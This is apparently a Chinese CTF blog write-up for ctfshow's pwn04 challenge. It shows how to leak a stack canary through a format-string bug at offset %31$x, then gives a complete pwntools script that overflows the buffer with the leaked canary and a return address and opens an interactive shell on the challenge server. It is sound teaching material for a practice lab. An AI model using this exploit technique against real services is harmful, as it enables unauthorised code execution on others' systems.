文章27
标签0
分类4

pwn-canary绕过

ctfshow上的一道pwn04
首先检查:

屏幕截图 2021-11-22 204107.png

程序关闭了PIE,是一个32位i386程序
拖入IDA:

屏幕截图 2021-11-22 204309.png

11行发现格式化字符串漏洞。
确定canary位置:

屏幕截图 2021-11-22 204537.png

断点设置在printf

屏幕截图 2021-11-22 205154.png

可以看到canary位于%31$x的位置
计算溢出量,写wp:

from pwn import*
context(log_level='debug',arch='i386')
p = remote('pwn.challenge.ctf.show',28139)
#p = process('pwn04')

if __name__ == '__main__':
    p.recvline('Hello Hacker!')
    canary_leak = '%31$x'
    p.sendline(canary_leak)

    canary = int(p.recv(),16)

    print(hex(canary))
    
    payload = b'a'*100+p32(canary)+b'a'*12+p32(0x0804859B)
    p.sendline(payload)

    p.interactive()

    0 评论

    ">